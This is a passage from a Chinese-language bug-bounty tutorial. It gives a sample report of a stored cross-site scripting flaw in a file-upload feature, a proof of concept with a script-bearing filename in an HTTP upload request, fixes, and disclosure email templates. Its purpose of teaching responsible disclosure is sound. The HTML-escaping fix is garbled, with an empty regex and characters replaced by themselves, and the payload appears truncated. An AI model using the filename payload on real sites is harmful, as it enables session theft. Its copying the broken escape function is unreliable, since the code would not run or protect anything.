\u63cf\u8ff0\n\u5728\u7528\u6236\u6a94\u6848\u4e0a\u50b3\u529f\u80fd\u4e2d\u767c\u73fe\u5132\u5b58\u578b\u8de8\u7ad9\u8173\u672c\u6f0f\u6d1e\u3002\u653b\u64ca\u8005\u53ef\u4ee5\u4e0a\u50b3\u5305\u542b\u60e1\u610fJavaScript\u7684\u6a94\u6848\u540d\u7a31\uff0c\u7576\u5176\u4ed6\u7528\u6236\u67e5\u770b\u8a72\u6a94\u6848\u6642\uff0c\u60e1\u610f\u8173\u672c\u6703\u5728\u5176\u700f\u89bd\u5668\u4e2d\u57f7\u884c\u3002\n\n### \u53d7\u5f71\u97ff\u7684\u7d44\u4ef6\n- **URL**: https://target.com/upload\n- **\u53c3\u6578**: filename\n- **HTTP\u65b9\u6cd5**: POST\n- **\u8a8d\u8b49\u8981\u6c42**: \u9700\u8981\u8a3b\u518a\u7528\u6236\u5e33\u6236\n\n### \u6280\u8853\u8a73\u60c5\n\u61c9\u7528\u7a0b\u5f0f\u5728\u986f\u793a\u6a94\u6848\u6e05\u55ae\u6642\uff0c\u76f4\u63a5\u5c07\u6a94\u6848\u540d\u7a31\u63d2\u5165HTML\u4e2d\uff0c\u800c\u6c92\u6709\u9032\u884c\u9069\u7576\u7684\u7de8\u78bc\u6216\u904e\u6ffe\u3002\u653b\u64ca\u8005\u53ef\u4ee5\u5229\u7528\u9019\u500b\u6f0f\u6d1e\u57f7\u884c\u4efb\u610fJavaScript\u4ee3\u78bc\u3002\n\n## \u6982\u5ff5\u9a57\u8b49 (PoC)\n\n### \u91cd\u73fe\u6b65\u9a5f\n1. \u767b\u5165\u5230\u61c9\u7528\u7a0b\u5f0f (https://target.com/login)\n2. \u5c0e\u822a\u5230\u6a94\u6848\u4e0a\u50b3\u9801\u9762 (https://target.com/upload)\n3. \u5275\u5efa\u4e00\u500b\u6e2c\u8a66\u6a94\u6848\uff0c\u6a94\u6848\u540d\u7a31\u70ba: `alert('XSS').txt`\n4. \u4e0a\u50b3\u6a94\u6848\n5. \u5c0e\u822a\u5230\u6a94\u6848\u5217\u8868\u9801\u9762 (https://target.com/files)\n6. \u89c0\u5bdf\u5f48\u51fa\u8b66\u544a\u6846\n\n### HTTP\u8acb\u6c42\u7bc4\u4f8b\n\n\nPOST /upload HTTP/1.1\nHost: target.com\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"alert('XSS').txt\"\nContent-Type: text/plain\n\nTest file content\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n\n\n### \u87a2\u5e55\u622a\u5716\n[\u5305\u542b\u986f\u793aXSS\u57f7\u884c\u7684\u87a2\u5e55\u622a\u5716]\n\n## \u5f71\u97ff\u8a55\u4f30\n\n### \u6280\u8853\u5f71\u97ff\n- **\u6a5f\u5bc6\u6027**: \u4e2d\u7b49 - \u53ef\u4ee5\u7aca\u53d6\u7528\u6236\u6703\u8a71\u4ee4\u724c\n- **\u5b8c\u6574\u6027**: \u4e2d\u7b49 - \u53ef\u4ee5\u4fee\u6539\u9801\u9762\u5167\u5bb9\n- **\u53ef\u7528\u6027**: \u4f4e - \u4e0d\u5f71\u97ff\u7cfb\u7d71\u53ef\u7528\u6027\n\n### \u696d\u52d9\u5f71\u97ff\n- \u7528\u6236\u8cc7\u6599\u53ef\u80fd\u88ab\u7aca\u53d6\n- \u54c1\u724c\u8072\u8b7d\u53d7\u640d\n- \u53ef\u80fd\u9055\u53cd\u8cc7\u6599\u4fdd\u8b77\u6cd5\u898f\n- \u7528\u6236\u4fe1\u4efb\u5ea6\u4e0b\u964d\n\n### \u653b\u64ca\u5834\u666f\n1. **\u6703\u8a71\u52ab\u6301**: \u653b\u64ca\u8005\u7aca\u53d6\u5176\u4ed6\u7528\u6236\u7684\u6703\u8a71Cookie\n2. **\u91e3\u9b5a\u653b\u64ca**: \u5275\u5efa\u865b\u5047\u767b\u5165\u8868\u55ae\u7aca\u53d6\u6191\u8b49\n3. **\u60e1\u610f\u91cd\u5b9a\u5411**: \u5c07\u7528\u6236\u91cd\u5b9a\u5411\u5230\u60e1\u610f\u7db2\u7ad9\n4. **\u5167\u5bb9\u7be1\u6539**: \u4fee\u6539\u9801\u9762\u5167\u5bb9\u6563\u5e03\u865b\u5047\u8cc7\u8a0a\n\n## \u4fee\u5fa9\u5efa\u8b70\n\n### \u7acb\u5373\u4fee\u5fa9\u63aa\u65bd\n1. **\u8f38\u51fa\u7de8\u78bc**: \u5c0d\u6240\u6709\u7528\u6236\u8f38\u5165\u9032\u884cHTML\u5be6\u9ad4\u7de8\u78bc\n```\n\nfunction htmlEscape(str) {\nreturn str.replace(/\\&/g, '\\&')\n.replace(//g, '>')\n.replace(/\"/g, '\"')\n.replace(/'/g, ''');\n}\n\n```\n\n2. **\u8f38\u5165\u9a57\u8b49**: \u9650\u5236\u6a94\u6848\u540d\u7a31\u5b57\u7b26\u96c6\n```\n\n// \u53ea\u5141\u8a31\u5b57\u6bcd\u3001\u6578\u5b57\u3001\u9ede\u548c\u9023\u5b57\u7b26\nif (!preg_match('/^[a-zA-Z0-9.\\-_]+\\$/', \\$filename)) {\nthrow new InvalidArgumentException('Invalid filename');\n}\n\n```\n\n### \u9577\u671f\u89e3\u6c7a\u65b9\u6848\n1. \u5be6\u65bd\u5167\u5bb9\u5b89\u5168\u653f\u7b56(CSP)\n2. \u4f7f\u7528\u5b89\u5168\u7684\u6a21\u677f\u5f15\u64ce\n3. \u5b9a\u671f\u9032\u884c\u5b89\u5168\u4ee3\u78bc\u5be9\u67e5\n4. \u5efa\u7acb\u5b89\u5168\u958b\u767c\u751f\u547d\u9031\u671f(SDLC)\n\n### \u9a57\u8b49\u4fee\u5fa9\n1. \u91cd\u65b0\u6e2c\u8a66\u4e0a\u50b3\u529f\u80fd\n2. \u78ba\u8a8dHTML\u5be6\u9ad4\u7de8\u78bc\u6b63\u78ba\u5be6\u65bd\n3. \u6e2c\u8a66\u5404\u7a2eXSS\u8ca0\u8f09\n4. \u9a57\u8b49CSP\u6a19\u982d\u6b63\u78ba\u8a2d\u5b9a\n\n## \u53c3\u8003\u8cc7\u6e90\n- [OWASP XSS Prevention Cheat Sheet](https://owasp.org/www-project-cheat-sheets/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html)\n- [OWASP Testing Guide - XSS](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)\n\n## \u6642\u9593\u8ef8\n- **2024-01-15 09:00**: \u767c\u73fe\u6f0f\u6d1e\n- **2024-01-15 10:30**: \u5b8c\u6210\u521d\u6b65\u9a57\u8b49\n- **2024-01-15 14:00**: \u63d0\u4ea4\u5831\u544a\n- **\u9810\u8a08\u4fee\u5fa9\u6642\u9593**: 2024-01-16 14:00\n\n## \u806f\u7e6b\u8cc7\u8a0a\n**\u7814\u7a76\u4eba\u54e1**: [\u60a8\u7684\u59d3\u540d]\n**\u96fb\u5b50\u90f5\u4ef6**: [\u60a8\u7684\u90f5\u7bb1]\n**PGP\u6307\u7d0b**: [\u5982\u679c\u6709\u7684\u8a71]\n\n\n\n### 10.2 \u6e9d\u901a\u6280\u5de7\u8207\u6700\u4f73\u5be6\u8e10\n\n**10.2.1 \u521d\u59cb\u5831\u544a\u6e9d\u901a\u6a21\u677f**\uff1a\n\n```\n\u4e3b\u65e8: [\u56b4\u91cd\u7a0b\u5ea6] \u5b89\u5168\u6f0f\u6d1e\u5831\u544a - [\u516c\u53f8\u540d\u7a31] - [\u6f0f\u6d1e\u985e\u578b]\n\n\u89aa\u611b\u7684 [\u516c\u53f8\u540d\u7a31] \u5b89\u5168\u5718\u968a\uff0c\n\n\u6211\u662f\u4e00\u540d\u5b89\u5168\u7814\u7a76\u4eba\u54e1\uff0c\u5728\u8cb4\u516c\u53f8\u7684 [\u61c9\u7528\u7a0b\u5f0f/\u7db2\u7ad9] \u4e2d\u767c\u73fe\u4e86\u4e00\u500b\u5b89\u5168\u6f0f\u6d1e\u3002\n\n\u6f0f\u6d1e\u6458\u8981\uff1a\n- \u985e\u578b\uff1a[\u6f0f\u6d1e\u985e\u578b]\n- \u56b4\u91cd\u7a0b\u5ea6\uff1a[\u4f4e/\u4e2d/\u9ad8/\u56b4\u91cd]\n- \u5f71\u97ff\uff1a[\u7c21\u8981\u5f71\u97ff\u63cf\u8ff0]\n\n\u6211\u5df2\u6e96\u5099\u8a73\u7d30\u7684\u6280\u8853\u5831\u544a\u548c\u6982\u5ff5\u9a57\u8b49\uff0c\u4ee5\u5354\u52a9\u60a8\u9a57\u8b49\u548c\u4fee\u5fa9\u6b64\u554f\u984c\u3002\u70ba\u4fdd\u8b77\u8cb4\u516c\u53f8\u548c\u7528\u6236\u7684\u5b89\u5168\uff0c\u6211\u627f\u8afe\u5728\u6f0f\u6d1e\u4fee\u5fa9\u524d\u4e0d\u6703\u516c\u958b\u76f8\u95dc\u8cc7\u8a0a\u3002\n\n\u8acb\u78ba\u8a8d\u60a8\u6536\u5230\u6b64\u5831\u544a\uff0c\u6211\u5c07\u5728\u6536\u5230\u56de\u8986\u5f8c\u63d0\u4f9b\u5b8c\u6574\u7684\u6280\u8853\u7d30\u7bc0\u3002\n\n\u671f\u5f85\u60a8\u7684\u56de\u8986\u3002\n\n\u6700\u4f73\u554f\u5019\uff0c\n[\u60a8\u7684\u59d3\u540d]\n[\u806f\u7e6b\u8cc7\u8a0a]\n[\u5c08\u696d\u80cc\u666f\u7c21\u4ecb]\n```\n\n**10.2.2 \u5f8c\u7e8c\u6e9d\u901a\u7bc4\u4f8b**\uff1a\n\n```\n\u611f\u8b1d\u60a8\u7684\u5feb\u901f\u56de\u8986\u3002\n\n\u6839\u64da\u60a8\u7684\u8981\u6c42\uff0c\u6211\u63d0\u4f9b\u4ee5\u4e0b\u88dc\u5145\u8cc7\u8a0a\uff1a\n\n1. \u984d\u5916\u6e2c\u8a66\u7d50\u679c\n2. \u66f4\u8a73\u7d30\u7684\u4fee\u5fa9\u5efa\u8b70\n3. \u76f8\u95dc\u7684\u7a0b\u5f0f\u78bc\u7bc4\u4f8b\n\n\u6211\u7406\u89e3\u4fee\u5fa9\u9700\u8981\u6642\u9593\u9032\u884c\u9069\u7576\u7684\u6e2c\u8a66\u548c\u90e8\u7f72\u3002\u8acb\u544a\u77e5\u9810\u8a08\u7684\u4fee\u5fa9\u6642\u7a0b\uff0c\u4ee5\u4fbf\u6211\u5011\u5354\u8abf\u8cac\u4efb\u63ed\u9732\u7684\u6642\u9593\u8868\u3002\n\n\u5982\u679c\u9700\u8981\u4efb\u4f55\u6f84\u6e05\u6216\u984d\u5916\u8cc7\u8a0a\uff0c\u8acb\u96a8\u6642\u806f\u7e6b\u6211\u3002\n\n\u8b1d\u8b1d\u60a8\u5c0d\u5b89\u5168\u554f\u984c\u7684\u91cd\u8996\u3002\n```\n\n**10.2.3 \u6e9d\u901a\u6700\u4f73\u5be6\u8e10**\uff1a\n\n```\n\u2705 \u61c9\u8a72\u505a\u7684\uff1a\n- \u4fdd\u6301\u5c08\u696d\u548c\u5efa\u8a2d\u6027\u7684\u8a9e\u8abf\n- \u63d0\u4f9b\u6e05\u6670\u3001\u53ef\u91cd\u73fe\u7684\u6b65\u9a5f\n- \u5c0a\u91cd\u516c\u53f8\u7684\u4fee\u5fa9\u6642\u7a0b\n- \u4fdd\u6301\u8010\u5fc3\u548c\u7406\u89e3\n- \u63d0\u4f9b\u6709\u7528\u7684\u4fee\u5fa9\u5efa\u8b70\n\n\u274c \u907f\u514d\u505a\u7684\uff1a\n- \u5a01\u8105\u6216\u65bd\u58d3\n- \u8981\u6c42\u4e0d\u5408\u7406\u7684\u734e\u52f5\n- \u516c\u958b\u672a\u4fee\u5fa9\u7684\u6f0f\u6d1e\n- \u4f7f\u7528\u6280\u8853\u8853\u8a9e\u5687\u552c\u975e\u6280\u8853\u4eba\u54e1\n- \u5c0d\u6162\u56de\u61c9\u8868\u73fe\u4e0d\u8010\u7169\n```\n\n\n## \u7e3d\u7d50\n\n\n**\u5b78\u7fd2\u5efa\u8b70**\uff1a\n\n1. **\u6309\u9806\u5e8f\u5b78\u7fd2**\uff1a\u5f9e\u57fa\u790e\u958b\u59cb\uff0c\u9010\u6b65\u6df1\u5165\n2. **\u5be6\u969b\u64cd\u4f5c**\uff1a\u7406\u8ad6\u7d50\u5408\u5be6\u8e10\uff0c\u591a\u505a\u5be6\u9a57\n3. **\u6301\u7e8c\u66f4\u65b0**\uff1a\u95dc\u6ce8\u6700\u65b0\u7684\u6f0f\u6d1e\u985e\u578b\u548c\u6280\u8853\n4. **\u52a0\u5165\u793e\u7fa4**\uff1a\u53c3\u8207Bug Bounty\u793e\u7fa4\u4ea4\u6d41\u7d93\u9a57\n5. **\u4fdd\u6301\u5408\u6cd5**\uff1a\u59cb\u7d42\u5728\u6388\u6b0a\u7bc4\u570d\u5167\u9032\u884c\u6e2c\u8a66\n\n\n[^100][^101][^102][^103][^104][^105][^106][^107][^108][^109][^110][^111][^112][^113][^114][^115][^116][^117][^118][^119][^120][^121][^122][^123][^124][^125][^126][^127][^128][^129][^130][^131][^132][^133][^134][^135][^136][^137][^138][^139][^140][^141][^142][^143][^144][^145][^63][^64][^65][^66][^67][^68][^69][^70][^71][^72][^73][^74][^75][^76][^77][^78][^79][^80][^81][^82][^83][^84][^85][^86][^87][^88][^89][^90][^91][^92][^93][^94][^95][^96][^97][^98][^99]\n\n\n\u2042\n", "creation_timestamp": "2026-08-23T08:14:53.338127Z"}